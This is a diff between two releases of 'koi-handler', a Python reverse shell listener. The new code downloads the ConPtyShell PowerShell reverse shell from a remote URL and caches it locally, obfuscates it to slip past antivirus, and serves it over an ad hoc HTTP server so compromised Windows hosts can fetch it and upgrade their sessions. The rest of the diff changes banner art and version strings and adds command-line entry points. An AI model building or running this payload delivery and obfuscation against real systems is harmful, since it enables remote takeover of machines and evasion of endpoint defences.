{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/powerupgrade.py

@@ -7,6 +7,7 @@ import urllib.request
 from typing import Callable, Dict, Optional
 
 from koi.session import Session
+from koi.utils.cache import load_conptyshell, save_conptyshell, cache_exists, conpty_cache_path
 from koi.utils.ps_obfuscate import obfuscate_conptyshell
 from koi.utils.tcp import spawn_http_server
 from koi.utils.ui import Spinner, notify, _b, _p
@@ -17,6 +18,31 @@ _CONPTYSHELL_URL = (
 )
 
 
+def _fetch_conptyshell() -> tuple[bytes, str]:
+    """
+    Fetch ConPtyShell, with a local cache as fallback.
+
+    Strategy:
+      1. Try to download the latest version from GitHub.
+         On success → update the cache and return the fresh bytes.
+      2. If the network request fails and a cached copy exists → use it.
+      3. If neither works → raise the original network exception.
+
+    Returns:
+        (ps1_data, source_label) where source_label is "remote" or "cache".
+    """
+    try:
+        with urllib.request.urlopen(_CONPTYSHELL_URL, timeout=15) as resp:
+            ps1_data = resp.read()
+        save_conptyshell(ps1_data)           # keep the cache fresh
+        return ps1_data, "remote"
+    except Exception as exc:
+        cached = load_conptyshell()
+        if cached is not None:
+            return cached, "cache"
+        raise exc                            # no cache either — bubble up
+
+
 def upgrade_windows_conptyshell(
     sess: Session,
     sessions: Dict[int, Session],
@@ -37,12 +63,16 @@ def upgrade_windows_conptyshell(
 
     with Spinner("Fetching ConPtyShell…"):
         try:
-            with urllib.request.urlopen(_CONPTYSHELL_URL, timeout=15) as resp:
-                ps1_data = resp.read()
+            ps1_data, source = _fetch_conptyshell()
         except Exception as exc:
             notify('error', f"Failed to fetch ConPtyShell: {exc}")
             return
 
+    if source == "cache":
+        notify('warning', f"Network unavailable — using cached ConPtyShell ({conpty_cache_path()})")
+    else:
+        notify('info', "ConPtyShell fetched from remote (cache updated)")
+
     ps1_data, conpty_fn = obfuscate_conptyshell(ps1_data)
     http_port, http_thread = spawn_http_server(ps1_data, timeout=60.0)
     notify('info', f"Serving ConPtyShell on port {_b(http_port)}")
@@ -98,4 +128,4 @@ def _wait_for_new_session(
         with conpty_lock:
             if expected_ip in conpty_staging:
                 return conpty_staging.pop(expected_ip)
-    return None
+    return None

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/ps_obfuscate.py

@@ -26,6 +26,8 @@ _PS_CMDLETS = [
     "Out-String",
     "Get-Content",
     "Write-Host",
+    "Get-Item",
+    "Test-Path",
     "iex",
     "pwd",
 ]

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi/utils/ui.py

@@ -3,6 +3,7 @@ import shutil
 import sys
 import threading
 import time
+import importlib.metadata
 from random import choice
 
 _ANSI = re.compile(r"\033\[[^m]*m")
@@ -17,6 +18,8 @@ RST = "\033[0m"
 DIM = "\033[2m"
 BOLD = "\033[1m"
 
+__version__ = importlib.metadata.version("koi-handler")
+
 def _b(t):  return f"{BOLD}{t}{RST}"
 def _d(t):  return f"{DIM}{t}{RST}"
 def _r(t):  return colored_text(t, CORAL)
@@ -33,7 +36,11 @@ MOTD = ["The serene shell handler",
         "流れに逆らう鯉のように",
         "¯＼(º_o)/¯",
         "Do not download and run random modules...",
-        "AD is not that scary, I promise!"
+        "AD is not that scary, I promise!",
+        "Defender doesn't have sunglasses because he's cool...",
+        "don't forget to star the repo <3",
+        "Use koireview to see your shells history",
+        "You can use \"koifuscator\" to directly use the obfuscator"
 ]
 
 def whole_line(char=" "):
@@ -84,10 +91,10 @@ def display_art(small: bool = False):
 ⠈⢮{color_signal(CORAL)}⣺⢸⢸⢸⢸⢸⢐{color_signal(WHITE)}⢕⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(UMBER)}⡂⠌⡐⢌⠢⠡⡑⡑⡑{color_signal(WHITE)}⢕⢕⢕⠵⢽⢽⡺⣵⣣⡳⡱⡱⠡⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀ 888`88b.  {color_signal(WHITE)}  888      888  888  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⢵⢯{color_signal(CORAL)}⡺⡸⡸⡸⡸⡸⡐{color_signal(WHITE)}⡐⡐⡐⢄⠀⠀⠀⠀⠀{color_signal(UMBER)}⢑⢈⠢⠡⡑⡐⡐{color_signal(WHITE)}⢌⢂⠢⡑⡑⢕⠳⡱⡱⣱⢹⢜⠌⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀ 888  `88b. {color_signal(WHITE)} {color_signal(SILVER)}`88b   {color_signal(WHITE)} d88'  888  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⢯⣻⡪⡪⠪⡪⡪⡪⡪⡂⡪⡨⢢⠂⠀⠀⠀⠀⠀⠀⠅⡑⡐⡐⢌⢆⠢⡑⡐⢌⠢⡑⠌⢎⢎⢇⢗⢵⡱⡠⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀⠀o888o  o888o {color_signal(WHITE)} {color_signal(SILVER)}`Y8bo{color_signal(WHITE)}od8P'  o888o ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⢹⡾⣝⠆⠅⡂⠌⢎⢎⢎⢪⢈⠪⠀⠀⠀⠀⠀⠀⠀⠀⠐⠐⠈⠆⢇⢕⠐⢌⠢⠑⠌⢌⢆⢂⠊⡎⡎⡮⣺{color_signal(PUMPKIN)}⣦⢀⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀
+⠀⢹⡾⣝⠆⠅⡂⠌⢎⢎⢎⢪⢈⠪⠀⠀⠀⠀⠀⠀⠀⠀⠐⠐⠈⠆⢇⢕⠐⢌⠢⠑⠌⢌⢆⢂⠊⡎⡎⡮⣺{color_signal(PUMPKIN)}⣦⢀⠀⠀⠀{color_signal(WHITE)}
 ⠀{color_signal(UMBER)}⠂⢿⡸⣣{color_signal(WHITE)}⡁⡢⠡⠡⡑⠌⢌⢪⢪⠠⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠠⠑⠕⢄⢅⢅⢑⢐⠐⠄⢕⢜⢜{color_signal(PUMPKIN)}⢼⢿⣾⣳⣔⢀⠀⠀⠀{color_signal(WHITE)}⠀⠀{choice(MOTD)}
 ⠀{color_signal(UMBER)}⠈⠸⡽⣿⣽⣮{color_signal(WHITE)}⡪⡢⡨⡨⡢⡣⡣⠣⠣⡪⡐⠄⢄⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⡑⡑⡐⠄⠅⢅⢑⠱⡱⡣{color_signal(PUMPKIN)}⡫⣺⢻⡚⣆⠀⠀⠀⠀⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
-⠀⠀⠀{color_signal(UMBER)}⠹⡽⣾⣷⡻{color_signal(WHITE)}⡸⡸⡸⡸⡨⠨⡈⡂⡂⠪⡘⢜⢜⢔⢐⠐⠌⠌⠀⠀⠀⠀⢂⠢⠨⠨⡈⡂⠢⡑⢜⢯⣎⢎{color_signal(PUMPKIN)}⢎⢎⢎⢎⠄⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀{color_signal(UMBER)}⠹⡽⣾⣷⡻{color_signal(WHITE)}⡸⡸⡸⡸⡨⠨⡈⡂⡂⠪⡘⢜⢜⢔⢐⠐⠌⠌⠀⠀⠀⠀⢂⠢⠨⠨⡈⡂⠢⡑⢜⢯⣎⢎{color_signal(PUMPKIN)}⢎⢎⢎⢎⠄⠀⠀⠀{color_signal(WHITE)}⠀  V.{__version__}
 ⠀⠀⠀⠀{color_signal(UMBER)}⠘⢽⢞⢮{color_signal(WHITE)}⢪⢪⢪⠪⡈⡂{color_signal(UMBER)}⡂⠢⡈⠢⠨{color_signal(WHITE)}⡘⢜⢜⠬⡨⡨⡐⡀⠀⠀⠀⠠⠡⠡⢁⠂⠌⠢⡈⡂⠣⡫⣷⠱⡱⡱⡱⡱⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 ⠀⠀⠀⠀⠀⠀⠣⡣⡣⡣⡣⡣⡂⡢{color_signal(UMBER)}⡈⠢⠨⡈⠢⡈⠢{color_signal(WHITE)}⡑⢕⢕⢜⢜⢌⢆⢄⠀⠀⠡⢁⠂⠌⠌⠀⠂⢌⠢⡑⢝⢵⢨⠪⡪⡪⡪⡀ ⠀    By @b3rt1ng
 ⠀⠀⠀⠀⠀⠀⠀⠀⠑⠕⡕⡕⣕⢕⢜⢌⢆⢎⢆⢪⢢⢪⢢⢣⢣⢣⢣⠣⠣⠡⡡⠀⠂⠌⠈⠀⠀⠀⠠⠑⠌⢌⢪⢣⢣⠡⢣⢣⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(SILVER)}⠀⠀⠀⠀⠀⢀⢐⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(WHITE)}
@@ -108,9 +115,9 @@ def display_art(small: bool = False):
 ⠀⠀{color_signal(SILVER)}⢠{color_signal(WHITE)}⢶{color_signal(PUMPKIN)}⣿⠿{color_signal(SILVER)}⠃⠀⣀⡁⠀{color_signal(PUMPKIN)}⣿{color_signal(CORAL)}⣿{color_signal(WHITE)}⣼{color_signal(CORAL)}⣿{color_signal(WHITE)}⣿⣏{color_signal(SILVER)}⡑⡄⠀{RST}{color_signal(UMBER)}██{RST}   ██  ██████  {color_signal(PUMPKIN)}██ 
 ⠀{color_signal(SILVER)}⢰⣁⡐⠰⠆⣰{color_signal(WHITE)}⣶{color_signal(PUMPKIN)}⣿{color_signal(WHITE)}⣿⡿{color_signal(SILVER)}⠛{color_signal(WHITE)}⠻{color_signal(SILVER)}⡋⠀⠉⠉⠁⠀⠀{RST}
 ⠀⠀{color_signal(SILVER)}⠈{color_signal(WHITE)}⠏{color_signal(SILVER)}⠏⠉⠉⠉⠈⠛⠤⣀⣠{color_signal(WHITE)}⡽⠀⠀⠀⠀⠀⠀{RST}
-⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀By @b3rt1ng⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{RST}
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀By @b3rt1ng / Version {__version__}{RST}
 """
-    if terminal_width < 139 or small:
+    if terminal_width < 110 or small:
         print(small_art)
     else:
         print(art)

{koi_handler-0.7.8 → koi_handler-0.8.3/src/koi_handler.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: koi-handler
-Version: 0.7.8
+Version: 0.8.3
 Summary: Reverse shell listener
 Requires-Python: >=3.10
 License-File: LICENSE

{koi_handler-0.7.8 → koi_handler-0.8.3}/src/koi_handler.egg-info/SOURCES.txt

@@ -17,9 +17,11 @@ src/koi/modules/sysinfo.py
 src/koi/modules/upload.py
 src/koi/utils/__init__.py
 src/koi/utils/bash_obfuscate.py
+src/koi/utils/cache.py
 src/koi/utils/cli.py
 src/koi/utils/detect.py
 src/koi/utils/interact.py
+src/koi/utils/logger.py
 src/koi/utils/models.py
 src/koi/utils/obfuscate_ui.py
 src/koi/utils/payloads.py

koi_handler-0.8.3/src/koi_handler.egg-info/entry_points.txt

@@ -0,0 +1,4 @@
+[console_scripts]
+koi = koi.main:main
+koifuscator = koi.main:obfuscator
+koireview = koi.main:koireview

koi_handler-0.7.8/src/koi/main.py

@@ -1,58 +0,0 @@
-#!/usr/bin/env python3
-
-from __future__ import annotations
-
-import argparse
-import signal
-import sys
-
-from koi.listener import Listener
-from koi.utils.ui import notify, _b, _p, _c, _gr, _y, _bl, display_art, print_payloads, print_report_box
-
-
-
-class _ArtHelpAction(argparse.Action):
-    def __init__(self, option_strings, dest=argparse.SUPPRESS, default=argparse.SUPPRESS, help=None):
-        super().__init__(option_strings=option_strings, dest=dest, default=default, nargs=0, help=help)
-
-    def __call__(self, parser, namespace, values, option_string=None):
-        display_art(small=True)
-        parser.print_help()
-        parser.exit()
-
-
-def main():
-    parser = argparse.ArgumentParser(
-        description="koi – multi-session reverse shell listener",
-        add_help=False,
-    )
-    parser.add_argument("-h", "--help", action=_ArtHelpAction, help="show this help message and exit")
-    parser.add_argument("--host", default="0.0.0.0", help="Bind address (default: 0.0.0.0)")
-    parser.add_argument("--port", "-p", type=int, default=4444, help="Listen port (default: 4444)")
-    parser.add_argument("--payloads", nargs="?", const="__all__", metavar="IFACE",
-                        help="Print payloads for all interfaces (or a specific one) and exit")
-    args = parser.parse_args()
-
-    if args.payloads is not None:
-        print_payloads(None if args.payloads == "__all__" else args.payloads, args.port)
-        sys.exit(0)
-
-    listener = Listener(host=args.host, port=args.port)
-
-    signal.signal(
-        signal.SIGINT,
-        lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
-    )
-
-    try:
-        listener.start()
-    except PermissionError:
-        notify('error', f"Permission denied on port {args.port}.")
-        sys.exit(1)
-    except OSError as e:
-        notify('error', f"Cannot start listener: {e}")
-        sys.exit(1)
-
-
-if __name__ == "__main__":
-    main()

koi_handler-0.7.8/src/koi_handler.egg-info/entry_points.txt

@@ -1,2 +0,0 @@
-[console_scripts]
-koi = koi.main:main